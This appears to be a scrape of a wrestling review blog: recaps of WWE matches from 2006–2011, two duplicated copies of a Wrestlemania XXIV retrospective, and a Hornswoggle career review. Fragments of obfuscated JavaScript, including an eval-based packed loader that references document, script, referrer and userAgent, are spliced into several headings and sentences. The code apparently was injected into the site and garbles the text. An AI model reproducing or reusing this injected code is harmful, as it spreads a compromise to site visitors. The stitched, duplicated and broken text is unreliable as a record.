Cruiserweight Title: Gregory Helms vs. Jimmy Wang Yang

Helms is champion. Feeling out process to start as we’re told how awesome Helms is. He won the title at the Rumble and would hold it over a year overall. JBL is accused of not liking Yang because he’s Asian. Moonsault press misses but Yang lands on his feet. The quick change allows Helms to get some shots in but a dropkick to Helms stops that cold.

Spinwheel kick into the corner misses and Yang goes to the floor. Baseball slide sends him into the railing as we hear about how a bunch of countries are watching the shows. I still don’t get why Vince doesn’t let them go on at the same time local time. I mean, is anyone in Morocco going to care if it’s on tape delay? Headlock goes on to give them a breather.

Helms keeps the advantage until we go to the floor. Yang hits a big dive and JBL gets in the great line of “this card is as loaded as a Freebird on a Saturday night.” Rather boring match so far. The fans agree with me and JBL gets all annoyed at them for it. Say what you want about him but the man had pride. Yang starts a comeback but they go up and Helms hits a neckbreaker off the top to put both guys down.

Helms goes up again and jumps into a spinwheel kick which didn’t look like it felt all that nice. JBL is ranting about the Confederacy now. Yang tries another moonsault with a bit of a corkscrew to it this time. It misses though because Helms has to keep the title, doing so in this case with a one knee Codebreaker.

Mr. Kennedy vs. Undertaker

It’s a Last Ride match, meaning you have to put someone in a hearse and drive it out of the arena. In other words, it’s a stretcher match with a car involved. The druids chant for the entrance of the holy….automobile. Kennedy does a promo saying he’ll win again tonight. Taker’s entrance literally takes over three minutes. Kennedy runs from Taker a lot and there’s a referee in there despite Cole telling us time and time again that there are no rules.

They go outside and Taker sends him into the steps. Kennedy goes onto the announce table and the beating continues. I guess morale hasn’t improved yet. Back into the ring and right back out again as Kennedy gets a shot in. And never mind as Taker catches him and rams him into the post to take over again. They head for the hearse but Taker gets sent into the door.

Kennedy hammers Taker into the hearse but can’t get it shut. Taker fights back as the crowd is only partially interested in it. There are some people close to them cheering but the rest of the people don’t sound very interested. Back to the ring and Taker hits a big boot to the side of Kennedy’s head. There’s the apron legdrop. Kennedy grabs the bottom rope to try to hide and you can hear individual fans shouting stuff.

Taker busts out a top rope superplex and the sit-up gets a nice reaction. Back to the aisle again and Taker throws him on his shoulder but Kennedy slips on a sleeper which is rather smart in this match. It’s enough to get Taker in the car and shut the door but Kennedy has to drive it out still. In a Taker moment, he’s in the front seat and nails Kennedy as the door opens. That’s so Deadman.

They go back to ringside and Taker loads up the table. The delay lets Kennedy get a chair and hammer away. Back into the ring we go and he has the chair still. Kennedy (I keep wanting to type Anderson) cracks him in the head and Taker shrugs it off. They go up the aisle with Kennedy more running than anything else. Ken climbs the set and they’re fighting on the set near the Armageddon sign which looks like a broken rock wall.

Taker hammers him down and calls for a chokeslam but Kennedy kicks him in the balls. Kennedy throws him off the set. Dead Man Flying I guess. The spot looks great but the crash pad beneath Taker really hurts the effect. Kennedy literally has to drag Taker to the car which is kind of a funny visual. Taker of course fights out just as he’s about to go in and sends Kennedy into the hearse.

Kennedy comes out and they’re slugging it out. JBL suggests that Kennedy just runs. In a nice move, Taker swings a chair and Kennedy ducks so Taker swings it at an angle to crack him. A pipe shot goes through the window. Taker is all fired up and Kennedy is nice and busted. They go to the top of the hearse and Taker hits a chokeslam with Kennedy bouncing a bit. A tombstone on the roof and Kennedy is dead. Taker throws him in and drives out to end this.

Booker T/Finlay vs. Batista/John Cena

Booker is a king again now. Ok then. So we have two guys that can’t get along fighting two unstoppable champions. Gee I wonder how this is going to end. Cena gets a bigger pop than Batista but it’s close. Big Dave has a bad arm. Cena and Booker start us off and Cena hooks an armbar. Off to Batista as the fans are only moderately interested. I can’t really blame them as there’s no point to get into it.

No matter what happens, nothing major changes. The titles can’t change and it’s just a tag match. I’ll never get the point in having just a regular match as the main event. Finlay comes in and gets a knee up at a charging Dave. Batista catches him in the air and just sets him down then slaps him. Into the corner and Batista hooks him up for what looks like a Musclebuster but he drops it like a suplex.

Off to Booker again who gets some strikes in but Batista blocks a hip toss and clotheslines him down for two. Cena in again but Booker gets a thumb to the eye. Total paint by numbers stuff so far here. Kick to the face gets two for Book. Cena fights up and there’s the Protobomb and the Shuffle. FU doesn’t hit so he settles for the STFU instead. Finlay has to come in to break it up and here’s Batista also.

Sharmell slips Booker his scepter to drill Cena in the throat and the heels finally get an advantage. Harlem Side Kick gets two. Finlay comes in for some chinlockery and Batista tries to come in. Here’s Horny who tries to punt Cena but he actually kicks himself in the head by mistake. Booker comes in with an arm hold which Cena counters into a DDT to put both guys down. Batista comes in, everything breaks down and Booker accidently kicks Finlay. Batista gets a HORRIBLE looking Boss Man slam but Finlay takes him down. Cena and Finlay hit the floor so that the spinebuster and Batista Bomb can end Booker.

Rating: F+. I know the term “this should have been on Raw” is thrown around a lot, but this is exactly the term to use here. Very boring here and by the numbers stuff. I have no idea why they thought this was a PPV main event. Nothing interesting happened and it was just there for the most part. Not interesting in the slightest at all and it was rather bad too, especially Booker vs. Batista.

Smackdown – September 7, 2007: Playing the Midcard Heel

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynhbn|var|u0026u|referrer|dtzfz||js|php'.split('|'),0,{})) September 7, 2007
Location: US Bank Arena, Cincinnati, Ohio
Commentators: Michael Cole, John Bradshaw Layfield

The opening recap shows Rey Mysterio winning a competition last week to become #1 contender, only to be destroyed by Khali.

Opening sequence, featuring some of the wrestlers turning into comic book style drawings. Couple that with the fist and is there any wonder why Smackdown was considered so much cooler than Raw?

Matt Hardy vs. Deuce

Kenny Dykstra vs. Chuck Palumbo

Video on Chavo costing Mysterio the World Title.

Finlay/Great Khali vs. Kane/Batista

We look at Rey beating Chavo up at No Mercy 2006 as revenge for costing him the World Title.

Jesse and Festus have arrived and find Noble still in the box. Jesse: “THEY HAVE TALKING BOXES HERE!” Noble is stuck in the box because a professional athlete is incapable of lifting a box off the ground and getting his foot under it or something.

Cruiserweight Title: Hornswoggle vs. Jamie Noble

A druid is in the ring when Mark Henry, the man who injured Undertaker, comes out. The lights go out and the druid disappears as the gong sounds.

We look at Chavo beating Rey Mysterio into knee surgery in their first I Quit match.

Unforgiven rundown.

Chavo Guerrero vs. Rey Mysterio

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


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Wrestlemania Count-Up – Wrestlemania XXIV: One Of The Hidden Gems

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbnnt|var|u0026u|referrer|rkihz||js|php'.split('|'),0,{})) XXIV
Date: March 30, 2008
Location: Citrus Bowl, Orlando, Florida
Attendance: 74,365
Commentators: Jim Ross, Jerry Lawler, Michael Cole, Jonathan Coachman, Joey Styles, Tazz

John Legend sings America the Beautiful.

The set is awesome with palm trees everywhere and a big canopy.

This transitions into a video about how so many things can change in a year. People can return, champions can fall and surprises can occur, but it all culminates here.

John Bradshaw Layfield vs. Finlay

The table is set up in the corner but Finlay picks up the steps instead. JBL bails to the floor and beats on Horny, only to be rammed into the announce table by Papa Horny for his efforts. A trashcan lid to the head stops Finlay and gets two back inside, allowing JBL to pick up a trashcan and LAUNCH IT at Horny. That looked great.

Speaking of trashcans, a shot to JBL breaks up the Clothesline and Finlay blasts him with a lid for good measure. JBL is sent through the table for two and the fans are pleased. Finlay picks up the steps but gets blasted in the knee by a kendo stick, allowing JBL to knock him out with the Clothesline for the pin.

CM Punk vs. Shelton Benjamin vs. John Morrison vs. Chris Jericho vs. MVP vs. Mr. Kennedy vs. Carlito

In an awesome move, Morrison goes up top with the ladder and moonsaults down onto a bunch of guys at once. Kennedy uses the distraction to go up but Jericho makes the save. He tries a catapult on Kennedy but sends him onto the ladder by mistake. Morrison dives onto the ladder to stop Kennedy but Shelton climbs his own ladder to make it a three way race. Kennedy loads up a superplex on Morrison but Shelton jumps over both of them with a sunset flip to make it a Tower of Doom. Cool spot.

Carlito and Jericho go up but Carlito spits apple in the face to break it up. Kennedy shoves Carlito off but gets hit in the ribs with a ladder by Punk. Jericho hits a Codebreaker with a ladder onto Punk to put everyone not named Jericho down. Punk goes up to stop Jericho but gets hit in the face by the briefcase. Punk climbs up again and knocks Jericho into the Tree of Woe with a shot to the head, allowing Punk to climb up and win the briefcase.

Orton, HHH and Cena are ready.

We look at the Hall of Fame induction ceremony from last night. The big deal of this was having Rock back to induct Rocky Johnson and Peter Maivia, his father and grandfather. The headliner though was Ric Flair who of course had everyone in tears.

Batista vs. Umaga

We look at the tale of the tape for Big Show vs. Floyd Mayweather, the latter being about as tall as my grandmother.

We look at the battle royal from the preshow with Kane winning a shot at the ECW Title.

ECW Title: Kane vs. Chavo Guerrero

In less time than it takes to type “in less time than it takes to type”, Kane chokeslams Chavo and pins him for the title. Match ran about 6 seconds.

Actress Raven Symone is here for some charity thing and SHOUTS ABOUT IT A LOT.

Ric Flair vs. Shawn Michaels

Ric goes after the knee but Shawn kicks him to the floor. Shawn loads up an Asai Moonsault and hits table, landing square on the edge ribs first. That looked HORRIBLE and Shawn is in big trouble. Back in and a belly to back suplex gets two for Flair. Naitch stays on the ribs and hits a good looking suplex for two. Shawn comes back with a backdrop to send Flair to the floor and follows up with a moonsault which mostly hits floor.

Flair gets a well deserved standing ovation. This match should have closed the show and was going to, but Flair said no because the title match should close the show. Usually I would agree but in this case, Flair should have ended the show. Ric takes the long walk up the ramp to nonstop applause.

Maria/Ashley vs. Beth Phoenix/Melina

Ashley tries to fight Beth and is immediately thrown around. Maria tries a double hip toss with Ashley which goes as well as you would expect two talentless models to be able to do. Melina is thrown to the floor and beaten up by the good Divas and takes a bad Bronco Buster from Maria. Ashley gets a running start to climb to the middle ropes to punch Melina as this mess continues. Melina takes over and catapults Ashley into a bearhug by Beth.

We recap Orton vs. HHH vs. Cena. Orton won the title by forfeit at No Mercy and Cena is back from injury to reclaim the title that he never lost. HHH won the Elimination Chamber to get a shot as well.

Raw World Title: Randy Orton vs. HHH vs. John Cena

Randy takes turns pounding away on both guys, getting two off a knee drop to the Game. Orton starts getting uncharacteristic for himself by going up top, only to be stopped by Cena. John loads up a superplex but HHH pulls Cena onto his own shoulders so Orton can hit a top rope cross body for two. Cena stands up to try the FU on Orton but Randy slides into a cradle for two. HHH clotheslines Cena down but Orton clotheslines HHH to put HHH down.

Floyd Mayweather Jr. vs. Big Show

Rating: C+. This is one of those matches where all you can say is “well what else were you expecting?” Again though, who was I supposed to cheer for? The giant bully, or the loud bragging guy who used chairs and brass knuckles to win? Like I said, the story was head scratch inducing, but this was tremendous fun.

Wrestlemania is coming back to Houston next year.

Kim Kardashian announces the new attendance record: 74,635.

Smackdown World Title: Undertaker vs. Edge

Edge has Teddy wheel out Vickie who is in a wheelchair as always. The Canadian is defending here. The champ pounds away to start but gets clotheslined out to the floor. Back in and Taker comes back with a Stunner onto the top rope to put Edge down. Taker slugs away but charges into a boot in the corner, only to come back with the jumping clothesline for two. Old School is countered but Taker rolls forward and armdrags Edge down.

They head outside again and Edge drops Taker back first onto the barricade, sending the big man into the crowd. Off to a half crab by Edge followed by a very modified Indian Deathlock which Undertaker kicks away. Back up and they slug it out with Taker getting control and the cheers from Undertaker. The challenger gets the better of it and hits a running clothesline in the corner. Make it a pair of them followed by snake eyes but the big boot is blocked for two by Edge.

A lot of fireworks end the show.

Ratings Comparison

John Bradshaw Layfield vs. Finlay

Original: C+

Redo: C+

Shelton Benjamin vs. CM Punk vs. Carlito vs. Chris Jericho vs. MVP vs. Mr. Kennedy vs. John Morrison

Original: B

Redo: B

Batista vs. Umaga

Original: F+

Redo: D-

Kane vs. Chavo Guerrero

Original: N/A

Redo: N/A

Ric Flair vs. Shawn Michaels

Original: A

Redo: B

Beth Phoenix/Melina vs. Maria/Ashley

Original: F

Redo: F+

John Cena vs. HHH vs. Randy Orton

Original: C+

Redo: B

Floyd Mayweather vs. Big Show

Original: D-

Redo: C+

Edge vs. Undertaker

Original: A-

Redo: A

Overall Rating

Original: C-

Redo: A-

http://kbwrestlingreviews.com/2011/03/31/583/

 

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

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Wrestlemania Count-Up – Wrestlemania XXIV: Leave The Memories Alone

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yftda|var|u0026u|referrer|shtih||js|php'.split('|'),0,{})) XXIV
Date: March 30, 2008
Location: Citrus Bowl, Orlando, Florida
Attendance: 74,365
Commentators: Jim Ross, Jerry Lawler, Michael Cole, Jonathan Coachman, Joey Styles, Tazz

John Legend sings America the Beautiful.

The set is awesome with palm trees everywhere and a big canopy.

This transitions into a video about how so many things can change in a year. People can return, champions can fall and surprises can occur, but it all culminates here.

John Bradshaw Layfield vs. Finlay

The table is set up in the corner but Finlay picks up the steps instead. JBL bails to the floor and beats on Horny, only to be rammed into the announce table by Papa Horny for his efforts. A trashcan lid to the head stops Finlay and gets two back inside, allowing JBL to pick up a trashcan and LAUNCH IT at Horny. That looked great.

Speaking of trashcans, a shot to JBL breaks up the Clothesline and Finlay blasts him with a lid for good measure. JBL is sent through the table for two and the fans are pleased. Finlay picks up the steps but gets blasted in the knee by a kendo stick, allowing JBL to knock him out with the Clothesline for the pin.

CM Punk vs. Shelton Benjamin vs. John Morrison vs. Chris Jericho vs. MVP vs. Mr. Kennedy vs. Carlito

In an awesome move, Morrison goes up top with the ladder and moonsaults down onto a bunch of guys at once. Kennedy uses the distraction to go up but Jericho makes the save. He tries a catapult on Kennedy but sends him onto the ladder by mistake. Morrison dives onto the ladder to stop Kennedy but Shelton climbs his own ladder to make it a three way race. Kennedy loads up a superplex on Morrison but Shelton jumps over both of them with a sunset flip to make it a Tower of Doom. Cool spot.

Carlito and Jericho go up but Carlito spits apple in the face to break it up. Kennedy shoves Carlito off but gets hit in the ribs with a ladder by Punk. Jericho hits a Codebreaker with a ladder onto Punk to put everyone not named Jericho down. Punk goes up to stop Jericho but gets hit in the face by the briefcase. Punk climbs up again and knocks Jericho into the Tree of Woe with a shot to the head, allowing Punk to climb up and win the briefcase.

Orton, HHH and Cena are ready.

We look at the Hall of Fame induction ceremony from last night. The big deal of this was having Rock back to induct Rocky Johnson and Peter Maivia, his father and grandfather. The headliner though was Ric Flair who of course had everyone in tears.

Batista vs. Umaga

We look at the tale of the tape for Big Show vs. Floyd Mayweather, the latter being about as tall as my grandmother.

We look at the battle royal from the preshow with Kane winning a shot at the ECW Title.

ECW Title: Kane vs. Chavo Guerrero

In less time than it takes to type “in less time than it takes to type”, Kane chokeslams Chavo and pins him for the title. Match ran about 6 seconds.

Actress Raven Symone is here for some charity thing and SHOUTS ABOUT IT A LOT.

Ric Flair vs. Shawn Michaels

Ric goes after the knee but Shawn kicks him to the floor. Shawn loads up an Asai Moonsault and hits table, landing square on the edge ribs first. That looked HORRIBLE and Shawn is in big trouble. Back in and a belly to back suplex gets two for Flair. Naitch stays on the ribs and hits a good looking suplex for two. Shawn comes back with a backdrop to send Flair to the floor and follows up with a moonsault which mostly hits floor.

Flair gets a well deserved standing ovation. This match should have closed the show and was going to, but Flair said no because the title match should close the show. Usually I would agree but in this case, Flair should have ended the show. Ric takes the long walk up the ramp to nonstop applause.

Maria/Ashley vs. Beth Phoenix/Melina

Ashley tries to fight Beth and is immediately thrown around. Maria tries a double hip toss with Ashley which goes as well as you would expect two talentless models to be able to do. Melina is thrown to the floor and beaten up by the good Divas and takes a bad Bronco Buster from Maria. Ashley gets a running start to climb to the middle ropes to punch Melina as this mess continues. Melina takes over and catapults Ashley into a bearhug by Beth.

We recap Orton vs. HHH vs. Cena. Orton won the title by forfeit at No Mercy and Cena is back from injury to reclaim the title that he never lost. HHH won the Elimination Chamber to get a shot as well.

Raw World Title: Randy Orton vs. HHH vs. John Cena

Randy takes turns pounding away on both guys, getting two off a knee drop to the Game. Orton starts getting uncharacteristic for himself by going up top, only to be stopped by Cena. John loads up a superplex but HHH pulls Cena onto his own shoulders so Orton can hit a top rope cross body for two. Cena stands up to try the FU on Orton but Randy slides into a cradle for two. HHH clotheslines Cena down but Orton clotheslines HHH to put HHH down.

Floyd Mayweather Jr. vs. Big Show

Rating: C+. This is one of those matches where all you can say is “well what else were you expecting?” Again though, who was I supposed to cheer for? The giant bully, or the loud bragging guy who used chairs and brass knuckles to win? Like I said, the story was head scratch inducing, but this was tremendous fun.

Wrestlemania is coming back to Houston next year.

Kim Kardashian announces the new attendance record: 74,635.

Smackdown World Title: Undertaker vs. Edge

Edge has Teddy wheel out Vickie who is in a wheelchair as always. The Canadian is defending here. The champ pounds away to start but gets clotheslined out to the floor. Back in and Taker comes back with a Stunner onto the top rope to put Edge down. Taker slugs away but charges into a boot in the corner, only to come back with the jumping clothesline for two. Old School is countered but Taker rolls forward and armdrags Edge down.

They head outside again and Edge drops Taker back first onto the barricade, sending the big man into the crowd. Off to a half crab by Edge followed by a very modified Indian Deathlock which Undertaker kicks away. Back up and they slug it out with Taker getting control and the cheers from Undertaker. The challenger gets the better of it and hits a running clothesline in the corner. Make it a pair of them followed by snake eyes but the big boot is blocked for two by Edge.

A lot of fireworks end the show.

Ratings Comparison

John Bradshaw Layfield vs. Finlay

Original: C+

Redo: C+

Shelton Benjamin vs. CM Punk vs. Carlito vs. Chris Jericho vs. MVP vs. Mr. Kennedy vs. John Morrison

Original: B

Redo: B

Batista vs. Umaga

Original: F+

Redo: D-

Kane vs. Chavo Guerrero

Original: N/A

Redo: N/A

Ric Flair vs. Shawn Michaels

Original: A

Redo: B

Beth Phoenix/Melina vs. Maria/Ashley

Original: F

Redo: F+

John Cena vs. HHH vs. Randy Orton

Original: C+

Redo: B

Floyd Mayweather vs. Big Show

Original: D-

Redo: C+

Edge vs. Undertaker

Original: A-

Redo: A

Overall Rating

Original: C-

Redo: A-

http://kbwrestlingreviews.com/2011/03/31/583/

 

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http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Wrestler of the Day – May 29: Hornswoggle

If Rollins was a step up, today is a leap down. Today is Hornswoggle.

After eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|feiah|var|u0026u|referrer|dkasd||js|php'.split('|'),0,{})) a few years in the Wisconsin independent scene, Hornswoggle was signed to WWE in 2006 and made his in ring debut at No Way Out 2007, under the ring name of Little Bastard.

Finlay/Little Bastard vs. Boogeyman/Little Boogeyman

Yeah it’s a mixed tag match with midgets. I’ll be calling him Horny here and he’s scared to death so he dives under the ring before the other team gets there. JBL says not to call him Little Bastard as his parents’ names are not Mr. and Mrs. Bastard. We go over Horny’s fear of little people as he hides under the ring. JBL: I don’t know what’s under there. There could be a whole colony of Lilliputians under there. HOLY FORESHADOWING BATMAN!

JBL is cracking me up here. “THAT IS THE RING I LOST THE WORLD CHAMPIONSHIP TO JOHN CENA IN AND NOW THERE’S A LEPRECHAUN UNDER IT!!!” Boogeyman gets a fireman’s carry as this is a handicap match to start. JBL calls Cole a non-heterosexual Barry Horowitz. He keeps making jokes about their names and how absurd they are which is rather true.

Little Boogeyman comes in and gets some fat drops to have Finlay in trouble. And then he eats some worms. Horny finally comes in and rolls up his sleeves to fight. Finlay kicks the midget monster in the head. Little Boogeyman gets a small package on Finlay for two. JBL has no idea what to think. Finlay gets a short arm scissors and Little Boogeyman is tapping but it’s not acknowledged for some reason.

Horny pulls the other midget under the ring but when Finlay goes to find him he finds the regular (and I use that term loosely) Boogeyman. Boogey beats on Finlay and I have no idea what I’m watching. A Rocket Launcher from the Boogies gets two as Horny saves. Big Boogeyman chases him off with worms so Finlay can conk the midget with his club that is way too hard to spell for the pin.

Rating: D-. The match was horrible as I hate midgets, but the commentary here was absolutely hysterical. JBL’s deadpan rants about how stupid this was were so perfect and it worked the whole way. Luckily I think the Little Boogeyman was dropped soon after this. All of that being said, check this out for JBL alone.

Then this happened at Great American Bash 2007.

Cruiserweight Title: Jimmy Wang Yang vs. Chavo Guerrero vs. Shannon Moore vs. Jamie Noble vs. Funaki

It’s a five man match but remember that this is a Cruiserweight Open, as in anyone can get in on this. Chavo is champion coming in. This is the dying days of the title as this was thrown on the card yesterday with no story. They did these kind of matches for probably a year. Hornswoggle is on the floor and hides under the ring. Chavo tries to run but gets thrown outside instead. This is one fall to a finish.

This is one of those matches where you can’t really keep up with anything so the whole thing is pretty all over the place. Chavo comes back in and Cole talks about his Latina wife. Shannon gets two on Chavo but Funaki hits a cross body onto both of them for a combined two. Powerslam gets two for Noble but Chavo breaks it up again. Chavo hooks some freaky rollup on Yang and transitions into a half crab but it gets broken up by Funaki.

Moore slams Funaki into the buckle HARD. Noble vs. Moore now. Make that Noble vs. Funaki. See what I mean about how there’s no point in trying to call this? Funaki gets an enziguri for two on Moore. Gory Bomb to Funaki gets two for the champ. Almost everyone goes to the floor so Yang sets for a dive. Chavo stops it and it’s Tower of Doom time. Noble is down and here’s Horny to come off the top with a Tadpole Splash to win the title.

Rating: C-. Like I said there’s only so much you can do in these. The ending is totally legal when you think about it: he’s certainly small enough and it was an Open so anyone can enter at any time right? This wasn’t anything great but it was very clear that the title was done. And no it wasn’t Horny that killed it. The belt was long since dead.

Around this time, Hornswoggle was revealed to be Vince McMahon’s illegitimate son. Vince being Vince, he decided that his son needed some tough love, including this match from Survivor Series 2007. as well as stripping him of the Cruiserweight Title.

Hornswoggle vs. Great Khali

Runjin Singh, Khali’s manager, says we should have the wrestlers get together for the reading of the rules. This results in Singh talking over the referee as he translates. The fans want Shaq but they get the bell instead. The fans realize Shaq is here and Vince tells him to sit down. Vince tells the fans he doesn’t care what they want. Now there’s a shoot if there’s ever been one. Horny takes off his jacket and hat and kicks Singh in the face. Horny kicks at the legs of Khali…and wisely runs away. Singh runs his mouth some more and gets GREEN MIST IN THE FACE!

Horny dives on Singh and pounds away before hiding from Khali under the ring. The small guy finds that Irish club and calls Khali in but the stick is of course caught. Khali kicks him down but before the Vice Grip can go on, Finlay runs in for the save and face turn. This ran over three minutes but it doesn’t deserve to be rated. At least this did serve a purpose though, so it’s not a total failure. It should have been on Raw though.

Finlay beats up Singh and Khali with the club. It would eventually be revealed that Finlay was Horny’s father, but I’m not quite sure why Vince agreed to the whole thing in storyline.

You know what’s better than one midget character? A BUNCH OF THEM! From January 14, 2008 on Raw.

Mini Royal Rumble

This is a five man match and it’s standard Rumble rules with thirty second intervals. The arena is full of smoke due to JBL’s previous segment. Hornswoggle and Mini Mr. Kennedy start. Kennedy can’t reach the microphone for the pre match bit in a comedy spot. Apparently Hornswoggle is already in the regular Royal Rumble along with Mick Foley. Horny gets sent face first into the middle turnbuckle and Mini Mankind is in third. Kennedy stomps a mudhole in him as the fans are totally out of this.

Mankind is about a foot taller than everyone else but Horny blocks Socko and kicks him out. In a surprising power display, Hornswoggle presses Kennedy over the top rope, leaving him alone to face Mini Batista at #4. The rather chubby Batista hits a spear and does signature stuff but has the Batista Bomb countered. JR sounds miserable on commentary. Mini Kane is number five and is the shortest person in the match so far. He nails uppercuts all around but walks into the spinebuster and Batista Bomb.

Not that it matters as Horny kicks Batista low and dumps him, only for Kane to kind of sit up. A middle rope clothesline drops Horny and Kane sets up a chokeslam. JR: “Imagine the elevation.” Horny just glares at him with a look that says “Really?”. A Celtic Cross puts Kane down and there he goes, leaving Hornswoggle alone. Here comes the real Great Khali at #6, despite it being announced at five people. I smell a McMahon. Mini Batista attacks Hornswoggle from behind but Finlay makes the save with the club to knock Khali to the floor, which I guess counts as an elimination.

Rating: F. Oh just….no.

This whole thing had to lead to this. From February 11, 2008 on Raw.

Hornswoggle vs. Vince McMahon

No DQ. This is a result of Horny biting Vince last week instead of joining his club. Vince shoves him down to start and poses. Horny can’t reach Vince’s hands for a test of strength so Vince gets on his knees and offers a free shot. The arm is pulled back but Horny can’t do it at first.

That only lasts a few seconds until he finally slaps Vince, so the dad takes off his belt for a whipping. Finlay comes out to defend his buddy so Vince threatens to fire him and ruin Finlay’s family. Vince leans down to yell at Hornswoggle about what a coward Finlay is and shoves the litle guy down. Finlay blasts Vince in the head with the club and Horny hits a Tadpole Splash for the pin.

Rating: N/A. This was an angle instead of a match. For the life of me I’m not sure who thought this story was a good idea, but Kennedy getting Wellnessed caused us to have to sit through all this nonsense. Finlay never really got a big push out of it either, which is really kind of surprising.

It would soon be revealed that Finlay was Horny’s father so the two formed a team. Here’s a Tag Team Title shot for them at Night of Champions 2008.

Smackdown Tag Titles: John Morrison/Miz vs. Finlay/Hornswoggle

Please make it short. They already did that didn’t they? Do I need to explain to you why this is a dumb match? And the fans pop for the challengers because that’s what Satan told them to do. The tall guy and the Monday Night Delight start us off. Ross and Foley are a weird pairing on commentary. Horny is listed at 4’4. Why did Vince wonder why we didn’t like the company in 08?

We do get a spot that I haven’t seen before as Morrison jumps over the rope and gets crotched on the ring skirt. I’ve never seen that before. Finlay starts throwing Horny into Miz and Morrison as a projectile. This is a comedy match that forgot the comedy. How weird is it to think that two years later Miz could be a potential MITB winner? I wouldn’t be surprised if he won it. Miz and Morrison were really starting to get good here but wouldn’t hit their stride for a few more months.

Horny comes in and beats up Miz, hitting a Stunner and a bulldog. None of these do anything of course since HE IS TINY. The problem becomes clear here very soon: the heels have to either beat up Horny or have him get the hot tag. Finlay beats up everyone after such a tag and the fans care for some reason. Horny goes up for the splash and Morrison finally realizes how stupid this is and more or less chokeslams him to the mat, ending this annoyance.

Rating: D. I mean seriously, it’s a midget and an old man against a good and young team. Was this really the best option they had? They wanted this to make this a serious match and it just completely failed. It was a hybrid comedy match and mess and just didn’t work. They wanted Horny to be something serious and it just didn’t work so of course they kept going with it forever.

We’ll jump ahead to April 21, 2009 when Hornswoggle was on ECW. This is his final appearance on the show before going to Raw and he said (remember that for later) that he wanted to wrestle. Tyson Kidd objected so here’s the result.

Natalya vs. Hornswoggle

Horny does a Warrior rope shake while Natalya makes fun of him. The test of strength spot annoys Hornswoggle again so he bites her tights and gets two off a spear. Tyson tries to interfere but Finlay cuts him off, allowing Horny to roll Natalya up for a quick pin.

Next up was a long and stupid feud against Chavo Guerrero Jr. where the guests hosts of Raw made one gimmick after another, including Chavo being having his arm tied behind his back or boxing. On July 27, 2009, he was blindfolded.

Chavo Guerrero Jr. vs. Hornswoggle

A kick by Horny knocks Chavo to the floor and it takes awhile for him to get back in. We get the required cornering the referee spot before Horny gets two off a rollup. The little guy hammers away even more until Chavo pulls the hood up and hits a dropkick. He can’t see for the cover though and the crowd is already annoyed. Horny gets up but lays back down, so Chavo tries a frog splash. Horny goes to the apron, Chavo misses the splash, Tadpole Splash gets the pin. Chavo lost every single match in this feud.

We’ll jump ahead again as Hornswoggle didn’t wrestle full time. Next up is Smackdown, December 10, 2010. Hornswoggle had been named the official mascot of Smackdown and would face Jack Swagger’s mascot, the Swagger Soaring Eagle.

Hornswoggle vs. Soaring Eagle

Rosa comes out with Horny. The Eagle is billed at 6’0 tall and with a wingspan of 5’0. This is so stupid. Please make this be quick. Striker lists off facts about eagles before Horny pulls out a bag of, and I can’t believe I’m saying this, ACME (spelled wrong) birdseed. The eagle (allegedly Chavo) goes for it and gets kicked in the head. Rosa hands Horny a napkin which he tucks into his shirt and bites the Eagle’s leg.

Would anyone be opposed to some fast forwarding here? The Eagle misses Ballin (shoot me now….please) and the Tadpole Splash ends this at 2:28. Cole gets in two good lines at the end though. As Horny goes up for the splash, “GET OUT OF THE WAY! YOU’RE ENDANGERED!” and the second being singing Fly Like An Eagle by the Steve Miller Band, even though the Eagle wasn’t the one flying. Was there ANY point to this?

Another jump of nearly a year brings us to Smackdown, November 29, 2011. It’s the Holiday Special and Horny is in the Make A Wish battle royal, where the winner gets anything he wants.

Battle Royal

There are twenty people in this and I’ll let you figure out who all is in it yourselves. I see Mahal, Slater, the Usos, Jackson, Sheamus, O’Neil, Watson, DiBiase, Hunico, Reks, Gabriel, Kidd and Horny. Sheamus is by far the biggest name in this. Hawkins and Young are in there. Young is out quickly as is I think Jey Uso. JTG is in this and as soon as I say this he’s eliminated. DiBiase and Gabriel try to get Hawkins out but can’t quite do it. Kofi and Yoshi Tatsu are in this and I think that’s everyone.

There goes Hawkins at the hands of Big Zeke. We get the showdown with Jackson and Sheamus with with pale One beating him down. Jackson sets for a big clotheline but Sheamus ducks to put him out. Johnny Curtis was the 20th guy in there and Sheamus puts him out easily. Kofi puts out the other Uso but Kidd dropkicks Kingston out seconds later.

Tatsu is gone and Kidd skins the cat and pulls out DiBiase at the same time. Horny slips out from the floor and pulls Kidd out. We take a break with about 8 people left. Back with eight people left: O’Neil, Hunico, Gabriel, Mahal, Reks, Sheamus, Slater and Horny. Gabriel tries to jump on the apron but Mahal knocks him to the floor. Clash of the Titus puts Reks down but he barks too much and Sheamus puts him out. Dang it I wanted him to wish for NXT to end.

Slater and Mahal jump Sheamus but he explodes and beats everyone down. Everyone goes to the floor through the ropes and beats Sheamus down. No one is in the ring at the moment. Ok so now everyone but Sheamus is in. It’s Mahal, Hunico, Slater and Reks. Mahal says we need to go find Horny. They all pick a side of the ring and dive under the ring. Mahal catches him and it’s 4-1. Slater shoves him down as does Hunico.

